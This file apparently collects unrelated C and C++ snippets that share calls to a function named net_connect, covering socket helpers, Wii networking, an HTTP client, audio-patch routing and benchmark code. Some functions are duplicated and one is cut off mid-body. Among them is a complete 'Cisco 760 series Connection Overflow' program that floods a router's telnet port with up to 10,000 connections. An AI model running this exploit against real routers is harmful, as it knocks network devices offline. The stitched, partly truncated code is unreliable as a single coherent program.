// insert a split after an output node // return out11 of split if original out was unconnected, // otherwise connect out1 of split to old target and return out2 s16 net_split_out(s16 outIdx) { // saved target s16 target = net->outs[outIdx].target; // index of added split operator s16 split; if( target < 0) { // no target split = net_add_op(eOpSplit); if(split < 0) { // failed to add, do nothing return outIdx; } else { // FIXME: net_op_in_idx is pretty slow net_connect(outIdx, net_op_in_idx(split, 0)); return net_op_out_idx(split, 0); } // add ok } else { // had target; reroute split = net_add_op(eOpSplit); // fix for github issue #219 // get the target again, because maybe it was a DSP param // (if it was, its index will have shifted. // patch and presets have been updated, but local var has not.) target = net->outs[outIdx].target; if(split < 0) { // failed to add, do nothing return outIdx; } else { // FIXME: net_op_in_idx is pretty slow net_connect(outIdx, net_op_in_idx(split, 0)); net_connect(net_op_out_idx(split, 0), target); return net_op_out_idx(split, 1); } // add ok } }
static void connect(Net *net, Connector* conn){ Data *data = conn->data; double epsilon = data->epsilon; net_size_t size = net_size(net); net_size_t edge = sqrt(size); if((edge * edge) != size){ printf("lattice_guassi_connector.c::lattice net requires the net's size must be n*n\n"); exit(0); } net_size_t i, j; srand(data->seed); for(i = 0; i < edge; i++){ for(j = 0; j < edge; j++){ net_size_t cur = edge * i + j; if(j != (edge - 1)){ weight_t edge_weight = get_gaussi(epsilon); net_connect(cur, cur + 1, edge_weight, net); net_connect(cur+1, cur, edge_weight, net); } if(i != (edge - 1)){ weight_t edge_weight = get_gaussi(epsilon); net_connect(cur, cur + edge, edge_weight, net); net_connect(cur + edge , cur, edge_weight, net); } }//for j }//for i }
// insert a split after an output node // return out11 of split if original out was unconnected, // otherwise connect out1 of split to old target and return out2 s16 net_split_out(s16 outIdx) { // saved target s16 target = net->outs[outIdx].target; // index of added split operator s16 split; if( target < 0) { // no target split = net_add_op(eOpSplit); if(split < 0) { // failed to add, do nothing return outIdx; } else { // FIXME: net_op_in_idx is pretty slow net_connect(outIdx, net_op_in_idx(split, 0)); return net_op_out_idx(split, 0); } // add ok } else { // had target; reroute split = net_add_op(eOpSplit); if(split < 0) { // failed to add, do nothing return outIdx; } else { // FIXME: net_op_in_idx is pretty slow net_connect(outIdx, net_op_in_idx(split, 0)); net_connect(net_op_out_idx(split, 0), target); return net_op_out_idx(split, 1); } // add ok } }
int main(void) { struct addrinfo *addr; int fd, status; struct sockaddr saddr; socklen_t slen; char buf[20]; unsigned int port; plan_tests(14); port = server(AF_INET, SOCK_STREAM); sprintf(buf, "%u", port); addr = double_addr_lookup(buf); ok1(addr); fd = net_connect(addr); ok1(fd >= 0); slen = sizeof(saddr); ok1(getsockname(fd, &saddr, &slen) == 0); diag("family = %d", saddr.sa_family); ok1(saddr.sa_family == AF_INET); status = read(fd, buf, sizeof(buf)); ok(status == strlen("Yay!"), "Read returned %i (%s)", status, strerror(errno)); ok1(strncmp(buf, "Yay!", strlen("Yay!")) == 0); close(fd); double_addr_free(addr); port = server(AF_INET6, SOCK_STREAM); sprintf(buf, "%u", port); addr = double_addr_lookup(buf); ok1(addr); fd = net_connect(addr); ok1(fd >= 0); slen = sizeof(saddr); ok1(getsockname(fd, &saddr, &slen) == 0); ok1(saddr.sa_family == AF_INET6); status = read(fd, buf, sizeof(buf)); ok(status == strlen("Yay!"), "Read returned %i (%s)", status, strerror(errno)); ok1(strncmp(buf, "Yay!", strlen("Yay!")) == 0); close(fd); double_addr_free(addr); wait(&status); ok1(WIFEXITED(status)); ok1(WEXITSTATUS(status) == 0); /* This exits depending on whether all tests passed */ return exit_status(); }
int main(int argc , char *argv[]) { SOCKET s = net_init(); if(!s) return 1; int c = net_connect(s, "127.0.0.1", 80); if(c < 0) return 1; //Send some data char *message = netfile_read(); message = strcat(message, "\r\n\r\n"); char *buffer; buffer = net_send(s, message, buffer); // response //write response to file as raw netfile_write(buffer); //parse response size_t parsed; struct http_parser parser; http_parser_init(&parser, HTTP_RESPONSE); parsed = http_parser_execute(&parser, &settings, buffer, strlen(buffer)); // http global object printf("%d\n",http.count); printf("%s", http.status); for(int i=0; i<http.count; i++){ printf("\n%s: %s", http.headers[i].key, http.headers[i].value); } return 0; }
arg_t _connect(void) { uint8_t flag; struct socket *s = sock_get(fd, &flag); struct sockaddr_in sin; if (s == NULL) return -1; if (s->s_state == SS_CONNECTING) { udata.u_error = EALREADY; return -1; } if (s->s_state == SS_UNCONNECTED && sock_autobind(s)) return -1; if (s->s_state == SS_BOUND) { if (sa_getremote(uaddr, &sin) == -1) return -1; s->s_addr[SADDR_DST].addr = sin.sin_addr.s_addr; s->s_addr[SADDR_DST].port = sin.sin_port; if (net_connect(s)) return -1; if (sock_wait_leave(s, 0, SS_CONNECTING)) { /* API oddity, thanks Berkeley */ if (udata.u_error == EAGAIN) udata.u_error = EINPROGRESS; return -1; } return sock_error(s); } udata.u_error = EINVAL; return -1; }
static void a_network_resolve_cb(mowgli_dns_reply_t *reply, int reason, void *priv_arg) { struct a_network *net = priv_arg; const char *reason_str; /* assume something will go wrong for now */ net->state = NET_CANNOT_CONTINUE; if (reply == NULL) { switch (reason) { case MOWGLI_DNS_RES_NXDOMAIN: reason_str = "Nonexistent domain, cannot continue"; break; case MOWGLI_DNS_RES_INVALID: reason_str = "Invalid domain, cannot continue"; break; case MOWGLI_DNS_RES_TIMEOUT: reason_str = "Request timed out, trying again"; break; } a_log(LERROR, "Resolution of %s (%s) failed: %s", net->host, net->name, reason_str); if (reason == MOWGLI_DNS_RES_TIMEOUT) { net->state = NET_DISCONNECTED; net_start_connect(net); } return; } net_connect(net, reply->h_name, &reply->addr); }
net_http_handle *net_http_open(char *host, char *request) { struct net_http_handle *h = malloc(sizeof(struct net_http_handle)); h->socket = net_connect(host, 80); if (!h->socket) { free(h); return NULL; } int len = snprintf(h->buf, BUF_SIZE, "GET %s HTTP/1.1\r\n" "Host: %s\r\n" "Accept-Encoding:\r\n" "Connection: close\r\n\r\n", request, host); if (len >= BUF_SIZE || net_write(h->socket, h->buf, len) < len) { DBG_WARN("failed to send \"%s\" to %s", request, host); net_close(h->socket); free(h); return NULL; } h->data = NULL; h->len = 0; h->complete = 0; memset(&h->settings, 0, sizeof(http_parser_settings)); h->settings.on_body = on_body_cb; h->settings.on_message_complete = on_message_complete_cb; h->parser = malloc(sizeof(http_parser)); h->parser->data = h; http_parser_init(h->parser, HTTP_RESPONSE); return h; }
int WifiGecko_Connect() { return -1; if(connection >= 0) return connection; net_init(); connection = net_socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); if (connection < 0) return connection; struct sockaddr_in connect_addr; memset(&connect_addr, 0, sizeof(connect_addr)); connect_addr.sin_family = AF_INET; connect_addr.sin_port = htons(portnumber); inet_aton(ipaddress, &connect_addr.sin_addr); if(net_connect(connection, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) { WifiGecko_Close(); return -1; } return connection; }
s32 ConnectSocket(const char *hostname, u32 port) { s32 socket = 0; struct sockaddr_in connect_addr; if ( (socket = net_socket(AF_INET,SOCK_STREAM,IPPROTO_IP)) < 0) { return -1; } else { //resolving hostname struct hostent *host = 0; host = net_gethostbyname(hostname); if ( host == NULL ) { //resolving failed return -2; } else { connect_addr.sin_family = AF_INET; connect_addr.sin_port = port; memcpy(&connect_addr.sin_addr, host->h_addr_list[0], host->h_length); } } if (net_connect(socket, (struct sockaddr*)&connect_addr , sizeof(connect_addr)) == -1 ) { net_close(socket); return -3; } return socket; }
/* It opens a connection to the host name rhost that is listening on the specified port. It returns the socket descriptor, or -1 in case of failure. */ static int clientsocket(const char *rhost, unsigned short port) { struct hostent *ptrh; /* pointer to a host table entry */ struct sockaddr_in sad;/* structure to hold server's address*/ int fd; /* socket descriptor */ memset((char *)&sad, 0, sizeof(sad)); /* clear sockaddr structure */ sad.sin_family = AF_INET; /* set family to Internet */ sad.sin_port = htons((u_short)port); /* Convert host name to equivalent IP address and copy sad */ ptrh = net_gethostbyname(rhost); if (((char *)ptrh) == NULL) { fprintf(stderr, "invalid host: %s\n", rhost); return (-1); } memcpy(&sad.sin_addr, ptrh->h_addr, ptrh->h_length); /* Create a socket */ fd = net_socket(PF_INET, SOCK_STREAM, 0); if (fd < 0) { fprintf(stderr, "socket creation failed\n"); return (-1);; } /* Connect the socket to the specified server */ if (net_connect(fd, (struct sockaddr *)&sad, sizeof(sad)) < 0) { fprintf(stderr, "connect failed\n"); return (-1); } return fd; }
int sockcl_open(dev_file_t *f) { char *p; int port; char server[129]; // open "SOCL:smallbasic.sf.net:80" as #1 // open "SOCL:80" as #2 f->drv_dw[0] = 1; p = strchr(f->name + 5, ':'); if (!p) { port = xstrtol(f->name + 5); f->handle = (int) net_listen(port); } else { *p = '\0'; strcpy(server, f->name + 5); *p = ':'; port = xstrtol(p + 1); f->handle = (int) net_connect(server, port); } if (f->handle <= 0) { f->handle = -1; f->drv_dw[0] = 0; return 0; } return 1; }
s32 Network_Connect(void) { struct hostent *he; struct sockaddr_in sa; s32 ret; /* Close socket if it is already open */ if (sockfd >= 0) net_close(sockfd); /* Create socket */ sockfd = net_socket(AF_INET, SOCK_STREAM, IPPROTO_IP); if (sockfd < 0) return sockfd; /* Get host by name */ he = net_gethostbyname(NusHostname); if (!he) return -1; /* Setup socket */ memcpy(&sa.sin_addr, he->h_addr_list[0], he->h_length); sa.sin_family = AF_INET; sa.sin_port = htons(NusPort); ret = net_connect(sockfd, (struct sockaddr *) &sa, sizeof(sa)); if (ret < 0) return ret; return 0; }
int sendCommand(char * cmd, char * response, int responseSize) { SOCKET sock = INVALID_SOCKET; int ret = 0; int rc = 0; int outLen = 0; rc = net_connect(_minerHost, _minerPort, &sock, 1); // 1 - localhost if (rc != SOCK_NO_ERROR) { debug_log(LOG_ERR, "sendCommand(): failed to connect to: %s@%d, rc: %d", _minerHost, _minerPort, rc); return 0; } rc = net_sendBytes(sock, cmd, (int) strlen(cmd), &outLen, SOCK_TIMEOUT_INTERVAL); if ( rc != SOCK_NO_ERROR) { debug_log(LOG_ERR, "sendCommand(): net_sendBytes() failed: %d", rc); closesocket(sock); return 0; } else { rc = net_recvBytes(sock, response, responseSize, &outLen, SOCK_TIMEOUT_INTERVAL); if ( rc != SOCK_NO_ERROR) { debug_log(LOG_ERR, "sendCommand(): net_recvBytes() failed: %d", rc); closesocket(sock); return 0; } } closesocket(sock); return 1; // ok } // end of sendCommand()
int create_stream_sock(char *_role, int control) { if (!strcmp(_role, "initiator") || !strcmp(role, "initiator")) return net_connect(control); else return net_listen(); }
void house::reconnect () { ACE_DEBUG((LM_DEBUG, "house::reconnect received\n")); if (_ctz_disconnected) { ACE_DEBUG((LM_DEBUG, "house::trying to reconnect\n")); net_connect(); } }
static void admin_open_session(void) { _admin_session = net_new(admin_net_event, NULL); _admin_session->user_data = _admin_session; /* TODO: tie the connect dialog to this */ net_connect(_admin_session, "localhost", 5555); }
int net_connect_tmt(SOCKET sock, const struct sockaddr *psa, unsigned int mstmt) { int rc = 0; struct timeval tv; fd_set fdsetRd, fdsetWr; char tmp[128]; int try = 0; if(sock == INVALID_SOCKET || !psa) { return -1; } else if(mstmt == 0) { return net_connect(sock, psa); } VSX_DEBUG_NET( LOG(X_DEBUG("NET - net_connect family: %d, fd: %d, trying to %s:%d with timeout %d ms"), psa->sa_family, sock, FORMAT_NETADDR(*psa, tmp, sizeof(tmp)), ntohs(PINET_PORT(psa)), mstmt) ); if((rc = net_setsocknonblock(sock, 1)) < 0) { return rc; } do { if((rc = connect(sock, psa, (socklen_t) INET_SIZE(*psa))) != 0) { if(errno == EINPROGRESS) { tv.tv_sec = (mstmt / 1000); tv.tv_usec = (mstmt % 1000) * 1000; FD_ZERO(&fdsetRd); FD_SET(sock, &fdsetRd); FD_ZERO(&fdsetWr); FD_SET(sock, &fdsetWr); if((rc = select(sock + 1, &fdsetRd, &fdsetWr, NULL, &tv)) > 0) { // call connect again to see if it was succesful try++; rc = -1; } else if(rc == 0) { // timeout expired rc = -1; errno = ETIMEDOUT; break; } else { // select error break; } } else if(errno == EISCONN && try > 0) { // already connected rc = 0; break; } else { // connect failure rc = -1; break; } } // end of if((rc = connect...
double doConnect(char *ip, double port, double mode, bool serve, bool udp) { char sport[6]; //can't exceed 65535 snprintf(sport,6,"%f",port); int s = net_connect(ip,sport,serve,udp); if (s < 0) return -1; net_blocking(s,(char) mode); return s; }
s32 tcp_connect (char *host, const u16 port) { struct hostent *hp; struct sockaddr_in sa; s32 s, res; s64 t; hp = net_gethostbyname (host); if (!hp || !(hp->h_addrtype == PF_INET)) { printDebugMsg(NORMAL_DEBUG_MESSAGE,"net_gethostbyname failed: %d\n", errno); return errno; } s = tcp_socket (); if (s < 0) return s; memset (&sa, 0, sizeof (struct sockaddr_in)); sa.sin_family= PF_INET; sa.sin_len = sizeof (struct sockaddr_in); sa.sin_port= htons (port); memcpy ((char *) &sa.sin_addr, hp->h_addr_list[0], hp->h_length); t = gettime (); while (true) { if (ticks_to_millisecs (diff_ticks (t, gettime ())) > TCP_CONNECT_TIMEOUT) { printDebugMsg(NORMAL_DEBUG_MESSAGE,"tcp_connect timeout\n"); net_close (s); return -ETIMEDOUT; } res = net_connect (s, (struct sockaddr *) &sa, sizeof (struct sockaddr_in)); if (res < 0) { if (res == -EISCONN) break; if (res == -EINPROGRESS || res == -EALREADY) { usleep (20 * 1000); continue; } printDebugMsg(NORMAL_DEBUG_MESSAGE,"net_connect failed: %d\n", res); net_close (s); return res; } break; } return s; }
/* return 1 on success * return 0 on failure */ static int connect_sock_to(Socket sock, IP_Port ip_port, TCP_Proxy_Info *proxy_info) { if (proxy_info->proxy_type != TCP_PROXY_NONE) { ip_port = proxy_info->ip_port; } /* nonblocking socket, connect will never return success */ net_connect(sock, ip_port); return 1; }
/***************************** * OpenConnection * */ void OpenConnection(std::string requestHeader, int32_t sockDesc, sockaddr_in &serv_addr ) { #if defined (__GAMECUBE__) || defined (__WII__) net_connect(sockDesc, (struct sockaddr*)&serv_addr, sizeof serv_addr); net_send(sockDesc, requestHeader.c_str(), requestHeader.length(), 0); #else connect(sockDesc, (struct sockaddr*)&serv_addr, sizeof serv_addr); send(sockDesc, requestHeader.c_str(), requestHeader.length(), 0); #endif }
McSdbClient *mcsdb_client_new (const char *host, const char *port) { McSdbClient *ms; int fd = net_connect (host, port); if (fd == -1) return NULL; ms = R_NEW (McSdbClient); memset (ms, 0, sizeof (McSdbClient)); ms->fd = fd; return ms; }
void net_io_process(int server) { unsigned long nioBufferArray[6] = { 4, 128, 512, 1024, 2048, 4096 }; // in kB int err; if (server) { printf("Listening on %s\n", net_get_bound_addr()); if ((err = net_listen(0, NET_IPV4)) < 0) DPRINTF("Error listening on %s: %s\n", net_get_bound_addr(), strerror(-err)); DPRINTF("Server run complete...\n"); } else { int sock; fprintf(stderr, "Trying connection to %s\n", net_get_connect_addr()); sock = net_connect(NULL, 0, NET_IPV4); if (sock <= 0) fprintf(stderr, "Connection to %s failed: %s\n", net_get_connect_addr(), strerror(-sock)); else { int ii, nioIdx; float tm = 0.0, cpu = 0.0; results->net_res_size = (sizeof(nioBufferArray) / sizeof(nioBufferArray[0])); fprintf(stderr, "Network: Getting %d results, this may take some time\n", results->net_res_size); results->net = (tIOResults *)malloc( results->net_res_size * sizeof(tIOResults) ); nioIdx = 0; for (ii = 0; ii < (sizeof(nioBufferArray) / sizeof(nioBufferArray[0])); ii++) { unsigned long long total = 0, chunk = 0; char size_total[16] = { 0 }, size_chunk[16] = { 0 }, size_thp[16] = { 0 }; total = nioBufSize; chunk = (unsigned long long)nioBufferArray[ii] * (1 << 10); net_write_command(sock, total, chunk, chunk, &tm, &cpu); strncpy(results->net[nioIdx].operation, NET_OP_READ(outType), sizeof(results->net[nioIdx].operation)); results->net[nioIdx].size = total; results->net[nioIdx].throughput = total / tm; results->net[nioIdx].chunk_size = chunk; results->net[nioIdx++].cpu_usage = cpu; io_get_size(total, 0, size_total, 16); io_get_size(chunk, 0, size_chunk, 16); io_get_size_double(total / tm, prec, size_thp, 16); DPRINTF("Network benchmark on %s with buffer size %s: %s/s (CPU: %.*f%%)\n", size_total, size_chunk, size_thp, prec, cpu); } if (net_server_terminate(sock)) DPRINTF("Server socket terminated\n"); } } }
/**************************************************************************** * Test if connection to the address is available (PING) ***************************************************************************/ bool CheckConnection(const char *url, float timeout) { //Check if the url starts with "http://", if not it is not considered a valid url if (strncmp(url, "http://", strlen("http://")) != 0) return false; //Locate the path part of the url by searching for '/' past "http://" char *path = strchr(url + strlen("http://"), '/'); //At the very least the url has to end with '/', ending with just a domain is invalid if (path == NULL) return false; //Extract the domain part out of the url int domainlength = path - url - strlen("http://"); if (domainlength == 0) return false; char domain[domainlength + 1]; strlcpy(domain, url + strlen("http://"), domainlength + 1); //Parsing of the URL is done, start making an actual connection u32 ipaddress = getipbynamecached(domain); if (ipaddress == 0) return false; //Initialize socket s32 connection = net_socket(AF_INET, SOCK_STREAM, IPPROTO_IP); if (connection < 0) return connection; s32 flags = net_fcntl(connection, F_GETFL, 0); if (flags >= 0) flags = net_fcntl(connection, F_SETFL, flags | 4); struct sockaddr_in connect_addr; memset(&connect_addr, 0, sizeof(connect_addr)); connect_addr.sin_family = AF_INET; connect_addr.sin_port = 80; connect_addr.sin_addr.s_addr = getipbynamecached(domain); Timer netTime; int res = -1; while(res < 0 && res != -127 && netTime.elapsed() < timeout) { res = net_connect(connection, (struct sockaddr*) &connect_addr, sizeof(connect_addr)); usleep(1000); } net_close(connection); return !(res < 0 && res != -127); }
/* net_connect_wait_time: * See `net_connect_wait_*'. The event in this case is that * `time' seconds have passed. */ int net_connect_wait_time (NET_CONN *conn, const char *addr, int time) { int y; if (net_connect (conn, addr)) return -1; do { time--; y = net_poll_connect (conn); safe_sleep (1); } while ((time >= 0) && (y == 0)); if (y < 0) return -1; if (y > 0) return 0; return 1; }
/* net_connect_wait_cb: * See `net_connect_wait_*'. This version calls the given * callback while waiting, and aborts if the callback returns * nonzero. */ int net_connect_wait_cb (NET_CONN *conn, const char *addr, int (*cb)(void)) { int x = 0, y; if (net_connect (conn, addr)) return -1; do { if (cb) x = cb(); y = net_poll_connect (conn); safe_sleep (1); } while ((x == 0) && (y == 0)); if (y < 0) return -1; if (y > 0) return 0; return 1; }
int main (int argc, char *argv[]) { char host[256]; int port,times,count,sd = 0; int m = 0; struct sockaddr_in cs; printf ("Cisco 760 series Connection Overflow.\n"); printf ("-------------------------------------\n"); if (argc < 3) usage(); strcpy (host, argv[1]); times=atoi (argv[2]); if ((times < 1) || (times > 10000)) /*Maximum number of connections*/ usage(); port =23; /* This might be changed to the telnet port of the router*/ printf ("Host: %s Times: %d\n", host, times); for (count=0;count<times;count++){ printf ("Connecting... Connection number %d \n",count); fflush (stdout); sd = net_connect (&cs, host, port, NULL, 0, 30); if (sd < 1) { printf ("failed!\n"); exit (EXIT_FAILURE); } net_write (sd, "AAAA\n\n"); } exit (EXIT_SUCCESS); }
void doPerformance(const string &arg){ if(arg == ARG_CLIENT){ bool bRet = net_connect(g_IP, TEST_CONNECT_PORT); if(!bRet){ DEBUG_E("client 连接失败。"); } PackerPtr pPacker(new Packer(NULL)); pPacker->setBuffer(g_TestContext_1.c_str(), g_TestContext_1.size()); long times(PERFROMANCE_TIMES); while(times--){ net_sendAll_C(pPacker); usleep(1); } sleep(100); } if(arg == ARG_SERVER){ TimeCounter timeCount; bool bRet = net_listen(g_IP, TEST_LISTEN_PORT); if(!bRet){ DEBUG_E("server 监听失败。"); } PackerPtr pPacker; long times(PERFROMANCE_TIMES); bool bNotFull(true); timeCount.start(); while(bRet && times>0){ if(net_recv_S(pPacker)){ if(g_TestContext_1 == string((char*)pPacker->getBuffer(), pPacker->getBufferSize())){ cout << --times << endl; } else{ bNotFull = false; DEBUG_E("接收数据出错。" << string((char*)pPacker->getBuffer(), pPacker->getBufferSize())); break; } if(!bNotFull){ cout << "有数据丢失" << endl; } } } timeCount.stop(); cout << "发送[" << PERFROMANCE_TIMES << "] use time [" << timeCount.getSecTimeD() << "]s" << endl; } }
// destroy last operator created s16 net_pop_op(void) { const s16 opIdx = net->numOps - 1; op_t* op = net->ops[opIdx]; int i=0; int x, y; app_pause(); // bail if system op if(net_op_flag (opIdx, eOpFlagSys)) { return 1; } // de-init op_deinit(op); // store the global index of the first input x = net_op_in_idx(opIdx, 0); y = x + op->numInputs; // check if anything connects here for(i=0; i<net->numOuts; i++) { // this check works b/c we know this is last op in list if( net->outs[i].target >= x ) { if( net->outs[i].target < y) { net_disconnect(i); } else { // net->outs[i].target -= op->numInputs; net_connect(i, net->outs[i].target - op->numInputs); } } } // erase input nodes while(x < y) { net_init_inode(x++); } // store the global index of the first output x = net_op_out_idx(opIdx, 0); y = x + op->numOutputs; // erase output nodes while(x < y) { net_init_onode(x++); } net->numIns -= op->numInputs; net->numOuts -= op->numOutputs; net->opPoolOffset -= op_registry[op->type].size; net->numOps -= 1; app_resume(); return 0; }